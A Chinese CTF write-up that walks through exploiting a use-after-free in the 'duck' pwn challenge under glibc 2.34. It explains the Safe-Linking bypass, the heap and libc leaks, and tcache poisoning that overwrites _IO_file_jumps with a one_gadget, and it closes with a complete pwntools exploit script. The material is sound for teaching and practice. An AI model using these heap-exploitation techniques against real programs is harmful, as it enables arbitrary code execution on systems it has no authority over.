[CISCN 2022 华东北]duck WP

news/2025/11/23 21:35:03/文章来源:https://www.cnblogs.com/youdiscovered1t/p/19261593

[CISCN 2022 华东北]duck

一、题目来源

NSSCTF-Pwn-[CISCN 2022 华东北]duck

pZkwMFJ.png

二、信息搜集

通过 file 命令查看文件类型:

pZkw3S1.png

通过 checksec 命令查看文件开启的保护机制:

pZkw8Qx.png

题目把 libc 文件和链接器都给我们了,我原本想着能用 pwninit 来初始化环境,但是失败了:

$ pwninit
bin: ./ld.so
libc: ./libc.so.6warning: failed detecting libc version (is the libc an Ubuntu glibc?): failed finding version string
copying ./ld.so to ./ld.so_patched
running patchelf on ./ld.so_patched
writing solve.py stub

看报错信息应该是版本没有匹配到,而且它还错误地把链接器去打了个补丁……

既然本题不能用 pwninit,那么我们就需要手动指定链接器和 libc 文件:

from pwn import *exe = ELF("./pwn")
libc = ELF("./libc.so.6")
ld = ELF("./ld.so")p = process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})

三、反汇编文件开始分析

通过 menu 的输出,我们大概就能知道本程序所实现的功能了:

ssize_t menu()
{puts("1.Add");puts("2.Del");puts("3.Show");puts("4.Edit");return write(1, "Choice: ", 8u);
}

一个一个功能分析。

1、Add

int Add()
{int i; // [rsp+4h] [rbp-Ch]void *v2; // [rsp+8h] [rbp-8h]v2 = malloc(0x100u);for ( i = 0; i <= 19; ++i ){if ( !heaplist[i] ){heaplist[i] = v2;puts("Done");return 1;}}return puts("Empty!");
}

会动态申请一片内存:

  • 申请的内存大小为 0x100;
  • 通过 heaplist[] 这个数组来管理每次申请的 chunk;
  • 最多能申请 20 个 chunk。

2、Del

int Del()
{int v1; // [rsp+Ch] [rbp-4h]puts("Idx: ");v1 = sub_1249();if ( v1 <= 20 && heaplist[v1] ){free((void *)heaplist[v1]);return puts("Done");}else{puts("Not allow");return v1;}
}

通过指定下标,来定位指定的 chunk,并且对该 chunk 进行 free 操作,但是 free 之后并没有对指针进行置 NULL 操作,从而存在 UAF 的风险。

3、Show

int Show()
{int v1; // [rsp+Ch] [rbp-4h]puts("Idx: ");v1 = sub_1249();if ( v1 <= 20 && heaplist[v1] ){puts((const char *)heaplist[v1]);return puts("Done");}else{puts("Not allow");return v1;}
}

根据指定的 index 来输出 chunk 中的 User Data 部分。

4、Edit

int Edit()
{int v1; // [rsp+8h] [rbp-8h]unsigned int v2; // [rsp+Ch] [rbp-4h]puts("Idx: ");v1 = sub_1249();if ( v1 <= 20 && heaplist[v1] ){puts("Size: ");v2 = sub_1249();if ( v2 > 0x100 ){return puts("Error");}else{puts("Content: ");READ(heaplist[v1], v2);puts("Done");return 0;}}else{puts("Not allow");return v1;}
}

根据指定的 index 在对应 chunk 的 User Data 部分进行修改。

最大可输入长度为 0x100。

四、思路

1、目前可见的攻击手段

  1. UAF + Show,我们可以通过这个组合来实现 chunk 数据结构信息的泄露。
  2. UAF + Edit,可以让我们修改在 bin 中的 chunk 的数据结构。
  3. 2 的衍生就是任意地址写。

2、Safe-Linking

首先,本题的 glibc 版本为 2.34:

image-20251123135318768

这个版本中,针对 Tcache/Fastbin 方面的攻击,引入了 Safe-Linking 保护机制:

/* Safe-Linking:Use randomness from ASLR (mmap_base) to protect single-linked listsof Fast-Bins and TCache.  That is, mask the "next" pointers of thelists' chunks, and also perform allocation alignment checks on them.This mechanism reduces the risk of pointer hijacking, as was done withSafe-Unlinking in the double-linked lists of Small-Bins.It assumes a minimum page size of 4096 bytes (12 bits).  Systems withlarger pages provide less entropy, although the pointer manglingstill works.  */
#define PROTECT_PTR(pos, ptr) \((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)

Tcache 中对该保护机制的应用:

/* Caller must ensure that we know tc_idx is valid and there's roomfor more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{tcache_entry *e = (tcache_entry *) chunk2mem (chunk);/* Mark this chunk as "in the tcache" so the test in _int_free willdetect a double free.  */e->key = tcache_key;e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]);
}/* Caller must ensure that we know tc_idx is valid and there'savailable chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{tcache_entry *e = tcache->entries[tc_idx];if (__glibc_unlikely (!aligned_OK (e)))malloc_printerr ("malloc(): unaligned tcache chunk detected");tcache->entries[tc_idx] = REVEAL_PTR (e->next);--(tcache->counts[tc_idx]);e->key = 0;return (void *) e;
}

要理解这个保护机制,我们先要了解 Tcache 的 chunk 的插入方式,聚焦代码:

typedef struct tcache_perthread_struct
{uint16_t counts[TCACHE_MAX_BINS];tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{tcache_entry *e = (tcache_entry *) chunk2mem (chunk);/* Mark this chunk as "in the tcache" so the test in _int_free willdetect a double free.  */e->key = tcache_key;e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]);
}

抛去保护机制不谈,对插入的部分进行简化得到:

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;

这是一个标准的头插法(当前块的 next 指针指向目前的 Tcache 头节点,接着自己作为头节点)。

那么,现在我们就可以知道保护机制做了什么,即对 fd 指针进行:
$$
fd = (Current_chunk_address >> 12) \oplus Next_chunk_address
$$
的处理。

因此,如果我们要绕过保护机制,就需要知道 chunk 的地址。换言之,就是堆的地址我们能否得到。

根据目前我们发现的攻击手段,是可以做到泄露 heap 的基址的。

Safe Linking 虽然使堆利用的难度上升,但是这个机制引发了一个非常有意思的现象。

就是在 Tcache bin 是空的情况下,当有一个 chunk 需要被放入其中的时候,此时的头节点是等于 0 的!

这个信息我们可以在 Tcache 的初始化操作中看出来:

static void
tcache_init(void)
{mstate ar_ptr;void *victim = 0;const size_t bytes = sizeof (tcache_perthread_struct);if (tcache_shutting_down)return;arena_get (ar_ptr, bytes);victim = _int_malloc (ar_ptr, bytes);if (!victim && ar_ptr != NULL){ar_ptr = arena_get_retry (ar_ptr, bytes);victim = _int_malloc (ar_ptr, bytes);}if (ar_ptr != NULL)__libc_lock_unlock (ar_ptr->mutex);/* In a low memory situation, we may not be able to allocate memory- in which case, we just keep trying later.  However, wetypically do this very early, so either there is sufficientmemory, or there isn't enough memory to do non-trivialallocations anyway.  */if (victim){tcache = (tcache_perthread_struct *) victim;memset (tcache, 0, sizeof (tcache_perthread_struct));}}

关键点:

  1. victim = _int_malloc (ar_ptr, bytes); 先从 arena 里 malloc 出一块 sizeof (tcache_perthread_struct) 的内存。
  2. tcache = (tcache_perthread_struct *) victim; 把这块内存当成 tcache_perthread_struct 用。
  3. memset (tcache, 0, sizeof (tcache_perthread_struct)); 把这整个结构体全部置 0

所以说,在 tcache 初始化完成且某个 bin 还没放过任何 chunk 的情况下,tcache->entries[tc_idx] 一定是 0。

而任何数和 0 进行异或,结果仍然是它本身。于是我们就得到了:

$$
fd = (Current_chunk_address >> 12)
$$

从代码中,我们也可以看出 Tcache 初始化会动态申请一片大小为 sizeof (tcache_perthread_struct) 的内存,根据结构体和对应的宏定义:

typedef struct tcache_perthread_struct
{uint16_t counts[TCACHE_MAX_BINS];tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;# define TCACHE_MAX_BINS		64
  1. counts 数组
    • 类型为 uint16_t (2 字节)
    • 数量 64
    • 大小:$64 \times 2 = 128$ 字节 (0x80)
  2. entries 数组
    • 类型为指针 (8 字节)
    • 数量 64
    • 大小:$64 \times 8 = 512$ 字节 (0x200)
  3. 结构体总数据大小
    • 0x80 + 0x200 = 0x280 字节
  4. 加上 Chunk 头 (Header)
    • 0x280 + 0x10 = 0x290 字节

计算得到 Tcache 管理块的大小(size,包含 chunk header)为 0x290。

注意,不同的 glibc 版本的该大小也是有区别的,不要死记,可以根据源码来推导。

分配完 Tcache 管理块之后再分配你申请的 chunk。那么,只要你申请的 chunk 不是很大,这个 chunk 的所在地址就会满足 $\le heap_base_address + 0x1000$。

而堆的地址,根据页对齐的要求,通常是 0x1000 的整数倍。

换言之,我们将此时的 fd 指针的值,进行:

$$
fd = fd << 12
$$

的操作之后,得到的地址很有可能就是堆的基址

对一个数进行左移 12 位,再进行右移 12 位,就相当于将最低的 12 位比特都清 0 了。

打个比方:

  • 堆的起始地址为 0xaa……a000。
  • 你申请的 chunk 的所在位置 0xaa……a500。

那么,对 0xaa……a500 依次进行 $>> 12$ 和 $<< 12$ 操作之后,就会得到 0xaa……a000 即堆的基址。

3、hooks 的移除

image-20251123150616814

这也就意味着,打 hook 劫持的思路断掉了。

4、路线

综上,我们得出了可行的利用路线:在泄露堆、libc 基址的情况下,通过任意地址写入,实现劫持 __libc_IO_vtables 中的 IO_jump_t 的实例(比如:IO_file_jumps)为 one_gadget。

五、Poc

1、程序四个功能的实现

def Add():p.sendafter(b'Choice: ',b'1')def Del(index):p.sendafter(b'Choice: ',b'2')p.sendafter(b'Idx: ',index)def Show(index):p.sendafter(b'Choice: ',b'3')p.sendafter(b'Idx: ',index)def Edit(index,size,content):p.sendafter(b'Choice: ',b'4')p.sendafter(b'Idx: ',index)p.sendafter(b'Size: ',size)p.sendafter(b'Content: ',content)

2、泄露堆基址

可以先来验证一下,我们之前分析的对不对,申请一个 chunk:

Add() # 0
gdb.attach(p)
pause()

image-20251123152041358

验证了 Tcache 管理块的大小确实是 0x290。

现在,我们将申请的 chunk 释放:

Add() # 0
Del(b'0')
gdb.attach(p)
pause()

image-20251123152233036

将 fd 指针进行 $fd = fd << 12$ 之后,得到的结果确实是堆的基址。

泄露:

Add() # 0
Del(b'0')Show(b'0')
p.recvline()
leak = u64(p.recvline()[:-1].ljust(8,b'\x00')) << 12
success("heap_base: " + hex(leak))

3、泄露 libc 基址

这个的泄露方法想必大家都不陌生,就是利用 Unsorted bin 的特性。

关键点就在于,如何让 chunk 进入 Unsorted bin?

本题中,申请的 chunk 大小是 0x100,这个大小是符合 Tcache 而不符合 Fastbin 的。

这个信息大家同样可以从 glibc 源码中分析出来,这里展示部分:

#define MAX_FAST_SIZE     (80 * SIZE_SZ / 4)# define TCACHE_MAX_BINS		64
# define MAX_TCACHE_SIZE	tidx2usize (TCACHE_MAX_BINS-1)/* Only used to pre-fill the tunables.  */
# define tidx2usize(idx)	(((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)
……

而 Unsorted bin 中 chunk 的来源:

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  2. 释放一个不属于 Tcache bin 或 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。
  3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

根据第二条,我们只要将 Tcache 给填满,即可让 chunk 进入 Unsorted bin,填满的要求:

/* This is another arbitrary limit, which tunables can change.  Eachtcache bin will hold at most this number of chunks.  */
# define TCACHE_FILL_COUNT 7#if USE_TCACHE,.tcache_count = TCACHE_FILL_COUNT,.tcache_bins = TCACHE_MAX_BINS,.tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1),.tcache_unsorted_limit = 0 /* No limit.  */
#endif

很明显,每一个 Tcache bin 中最多能存放 7 个 chunk,那么当大小为 0x110(算上 chunk header)的 Tcache bin 被填满之后,我们继续释放一个不属于 Fastbin 大小的 chunk,如果这个 chunk 不与 top chunk 相邻,它就会进入 Unsorted bin。

如何不与 top chunk 相邻?

很简单,在第八个 chunk 的后面再申请一个即可,对应的代码:

for i in range(9):Add()
for i in range(1,9):Del(str(i).encode())gdb.attach(p)
pause()
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555577c12a00
Size: 0x110 (with flag bits: 0x111)
fd: 0x7310f94e8cc0
bk: 0x7310f94e8cc0

目前 index 的使用情况:

image-20251123160225166

泄露 libc 地址:

Show(b'8')
p.recvline()
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
offset = 96
main_arena = libc.symbols['main_arena']
libc_base = leak - offset - main_arena
success("libc_base: " + hex(libc_base))

4、劫持

我们劫持的对象是 FILE 结构体中的 vtable 指针所指向的 _IO_jump_t 的实例,将里面的函数地址替换成我们准备好的 one_gadget。

因此,我们需要确定要劫持哪一个 FILE 结构体?

选择一个 IO 函数,比如 puts,在 Glibc 源文件中找到其对应的定义:

#include "libioP.h"
#include <string.h>
#include <limits.h>int
_IO_puts (const char *str)
{int result = EOF;size_t len = strlen (str);_IO_acquire_lock (stdout);if ((_IO_vtable_offset (stdout) != 0|| _IO_fwide (stdout, -1) == -1)&& _IO_sputn (stdout, str, len) == len&& _IO_putc_unlocked ('\n', stdout) != EOF)result = MIN (INT_MAX, len + 1);_IO_release_lock (stdout);return result;
}weak_alias (_IO_puts, puts)
libc_hidden_def (_IO_puts)

其中,用到 FILE 结构体的我们都可以去 glibc 源码中追踪一下其调用流。

_IO_putc_unlocked 举例子,找到其定义:

#define _IO_putc_unlocked(_ch, _fp) __putc_unlocked_body (_ch, _fp)

接着找 __putc_unlocked_body (_ch, _fp) 的定义:

#define __putc_unlocked_body(_ch, _fp)					\(__glibc_unlikely ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end)	\? __overflow (_fp, (unsigned char) (_ch))				\: (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))

要想理解这段代码,就得对 FILE 的结构有所了解,这里放出与之有关的定义:

struct _IO_FILE
{……char *_IO_read_ptr;	/* Current read pointer */char *_IO_read_end;	/* End of get area. */char *_IO_read_base;	/* Start of putback+get area. */……
};

明显,当缓冲与满了的时候,会调用 __overflow() 函数,这个函数是在 _IO_jump_t 结构体中有定义:

#define JUMP_FIELD(TYPE, NAME) TYPE NAMEstruct _IO_jump_t
{JUMP_FIELD(size_t, __dummy);JUMP_FIELD(size_t, __dummy2);JUMP_FIELD(_IO_finish_t, __finish);JUMP_FIELD(_IO_overflow_t, __overflow); // 在这:刷新缓冲区JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow);JUMP_FIELD(_IO_pbackfail_t, __pbackfail);……
};

我们知道,vtable 指针指向的是该结构体的实例。stdout 中的 vtable 指针指向的就是 _IO_file_jumps

为什么是这样的对应呢?

依旧从源码出发,在文件 /libio/stdio.c 中可以找到:

FILE *stdout = (FILE *) &_IO_2_1_stdout_;

_IO_2_1_stdout_ 的定义如下:

#ifdef _IO_MTSAFE_IO
# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \static _IO_lock_t _IO_stdfile_##FD##_lock = _IO_lock_initializer; \static struct _IO_wide_data _IO_wide_data_##FD \= { ._wide_vtable = &_IO_wfile_jumps }; \struct _IO_FILE_plus NAME \= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \&_IO_file_jumps};
#else
# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \static struct _IO_wide_data _IO_wide_data_##FD \= { ._wide_vtable = &_IO_wfile_jumps }; \struct _IO_FILE_plus NAME \= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \&_IO_file_jumps};
#endifDEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);
DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);
DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);

将宏展开之后可以得到等价定义:

struct _IO_FILE_plus _IO_2_1_stdout_ =
{FILEBUF_LITERAL(...),   // 填满前面的 _IO_FILE 那一坨字段&_IO_file_jumps         // vtable 指针
};

Poc:

'''
0xda861 execve("/bin/sh", r13, r12)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[r12] == NULL || r12 == NULL || r12 is a valid envp0xda864 execve("/bin/sh", r13, rdx)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp0xda867 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL || rsi is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [libc_base + 0xda861, libc_base + 0xda864, libc_base + 0xda867]_IO_file_jumps = libc_base + libc.symbols['_IO_file_jumps']target = ((heap_base + 0x8f0) >> 12) ^ (_IO_file_jumps) # Safe-Linking,注意 0x8f0 是通过动态调试找到的
Edit(b'7',b'8',p64(target))Add()
Add()Edit(b'11',b'64',p64(0)*3 + p64(one_gadget[1])) # 测试后,第二条 one_gadget 可行。

5、完整 Poc

from heapq import heapify
from pwn import *exe = ELF("./pwn")
libc = ELF("./libc.so.6")
ld = ELF("./ld.so")p = process([ld.path, exe.path], env={"LD_PRELOAD": libc.path})def Add():p.sendafter(b'Choice: ',b'1')def Del(index):p.sendafter(b'Choice: ',b'2')p.sendafter(b'Idx: ',index)def Show(index):p.sendafter(b'Choice: ',b'3')p.sendafter(b'Idx: ',index)def Edit(index,size,content):p.sendafter(b'Choice: ',b'4')p.sendafter(b'Idx: ',index)p.sendafter(b'Size: ',size)p.sendafter(b'Content: ',content)Add() # 0
Del(b'0')Show(b'0')
p.recvline()
heap_base = u64(p.recvline()[:-1].ljust(8,b'\x00')) << 12
success("heap_base: " + hex(heap_base))for i in range(9):Add()
for i in range(1,9):Del(str(i).encode())Show(b'8')
p.recvline()
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
offset = 96
main_arena = libc.symbols['main_arena']
libc_base = leak - offset - main_arena
success("libc_base: " + hex(libc_base))'''
0xda861 execve("/bin/sh", r13, r12)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[r12] == NULL || r12 == NULL || r12 is a valid envp0xda864 execve("/bin/sh", r13, rdx)
constraints:[r13] == NULL || r13 == NULL || r13 is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp0xda867 execve("/bin/sh", rsi, rdx)
constraints:[rsi] == NULL || rsi == NULL || rsi is a valid argv[rdx] == NULL || rdx == NULL || rdx is a valid envp
'''
one_gadget = [libc_base + 0xda861, libc_base + 0xda864, libc_base + 0xda867]_IO_file_jumps = libc_base + libc.symbols['_IO_file_jumps']target = ((heap_base + 0x8f0) >> 12) ^ (_IO_file_jumps)
Edit(b'7',b'8',p64(target))Add()
Add()Edit(b'11',b'64',p64(0)*3 + p64(one_gadget[1]))p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/974254.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

20232320 2025-2026-1 《网络与系统攻防技术》实验六实验报告

1.实验内容 总结一下本周学习内容,不要复制粘贴 2.实验过程 (1)前期渗透 ①主机发现(可用Aux中的arp_sweep,search一下就可以use) ②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。 ③选做:也可以…

2025-01-14-Tue-T-实体关系图ERD

实体关系图(ERD)指南 什么是实体关系图(ERD)? 数据库是软件系统中不可或缺的一个组成部分,若能在数据库工程中好好利用 ER 图,便能让您生成高质量的数据库设计,用于数据库创建,管理和维护,也为人员间的交流提供…

《Either Way》

누가 내 말투가 재수없대 有人说我语气很讨人厌 잘난 척만 한대 有人说我自以为是 또 누구는 내가 너무 착하대 还有人说是我太善良 바보같을 정도래 以至于像个傻瓜 가끔은 이해조차 안 되는 시선들 有些时候 被投来不…

20232424 2025-2026-1 《网络与系统攻防技术》实验六实验报告

20232424 2025-2026-1 《网络与系统攻防技术》实验六实验报告 1.实验内容 总结一下本周学习内容,不要复制粘贴 2.实验过程 3.问题及解决方案问题1:XXXXXX 问题1解决方案:XXXXXX 问题2:XXXXXX 问题2解决方案:XXXXX…

2024-11-26-Tue-T-SSM

SSM SSM三者的关系1 Spring IoC容器 父子工程 <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w…

HTML游戏创建:利用视频作为特效自动播放的方法

HTML游戏创建:利用视频作为特效自动播放的方法pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", &…

第四章-Tomcat线程模型与运行方式 - 指南

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

11-21

今日学习了 Date 类的使用,掌握了 SimpleDateFormat 类的日期格式化(yyyy-MM-dd HH:mm:ss)与解析功能,完成了当前日期输出与生日计算案例。 明日计划学习异常处理机制,重点理解 try-catch-finally 语句,以及常见…

11-25

今日学习了字符流的适用场景(文本文件处理),掌握了 FileReader、FileWriter 的读写操作,以及缓冲流(BufferedReader/BufferedWriter)的效率优化。 明日计划学习集合框架,重点理解 List 接口的实现类(ArrayList…

11-24

今日掌握了字节流的核心类(FileInputStream、FileOutputStream),学会了使用字节流读取文件内容、写入数据到文件,完成了图片复制案例。 明日计划学习字符流(Reader/Writer),理解字节流与字符流的区别,重点掌握…

2023-10-15-R-如何阅读一本书

从五月份开始直至昨天,断断续续读完了这本书,但这个过程还是过于走马观花。因为是走马观花,所以大部分的内容根本没有深入理解,更谈不让将之运用于实践了。不过我知道这是一本好书,一本对于我的个人发展是一本好书…

2023-10-11-T-JAVA

1. 易忘知识点用于记录已遗忘的知识点1.1 基础语法一个JAVA文件中的不同类中均可以有public static 方法, 并且可用java 类名的方式运行public static方法javadoc 用于生成java文件的文档,使用方式javadoc xxx.java.…

通过SSH反向隧道让远程服务器走本地代理

通过建立 SSH 反向隧道,使无法直连外网的远程 Linux 服务器能借助本地 Windows 电脑的代理网络执行 git pull 等操作。1. 场景描述 先说一下笔者遇到的情况:本地 Windows 电脑 已经配置好代理或者加速工具,能正常访…

2023-09-19-R-金字塔原理

前言 简介 金字塔原理是美国作家芭芭拉明托在1966年所著,她是著名咨询公司麦肯锡聘用的第一位女性咨询顾问。金字塔原理是她在1966年被派往英国,担任负责麦肯锡欧洲员工写作能力的职位后总结得出的。金字塔原理介绍了…

2023-09-19-E-文章管理

文章管理2023年9月19日生效时间-文章类型-文章名称 文章类型:日记随想:D : Thoughts总结反思:S : Summary技术文章:T : Tech读书笔记:R : Reading效率管理:E : Efficiency日记: 记录一天经历的事件或所思所想 技…

11-6

今日深入学习了 for、while、do-while 三种循环的区别与适用场景,通过循环嵌套完成了九九乘法表、菱形图案打印。 明日计划学习数组的定义、初始化方式,以及数组的遍历、排序等基础操作。

11-18

今日深入学习了 String 类的不可变性,掌握了 charAt ()、substring ()、equals ()、indexOf () 等常用方法,完成了字符串反转、判断回文案例。 明日计划学习 StringBuffer 与 StringBuilder 类的使用,对比三者的效率…

11-12

今日深入学习了封装的意义,通过 private 修饰成员变量,编写 getter/setter 方法实现数据的安全访问,完成了学生类的封装案例。 明日计划学习继承的语法(extends 关键字),理解父类与子类的关系,以及方法的重写。…

11-11

今日理解了面向对象的核心思想(封装、继承、多态),掌握了类的定义(成员变量、成员方法)与对象的实例化(new 关键字)。 明日计划学习封装的实现方式,重点掌握 private 访问修饰符、getter/setter 方法的编写。

苹果app开发上架流程

苹果App开发上架流程主要包括注册账号、开发设置、打包上传、完善信息及提交审核等步骤,具体如下: 1. 注册Apple iOS开发者账号:访问Apple开发者网站,选择“Account”进行注册。填写真实信息,可能需人脸识别和上传…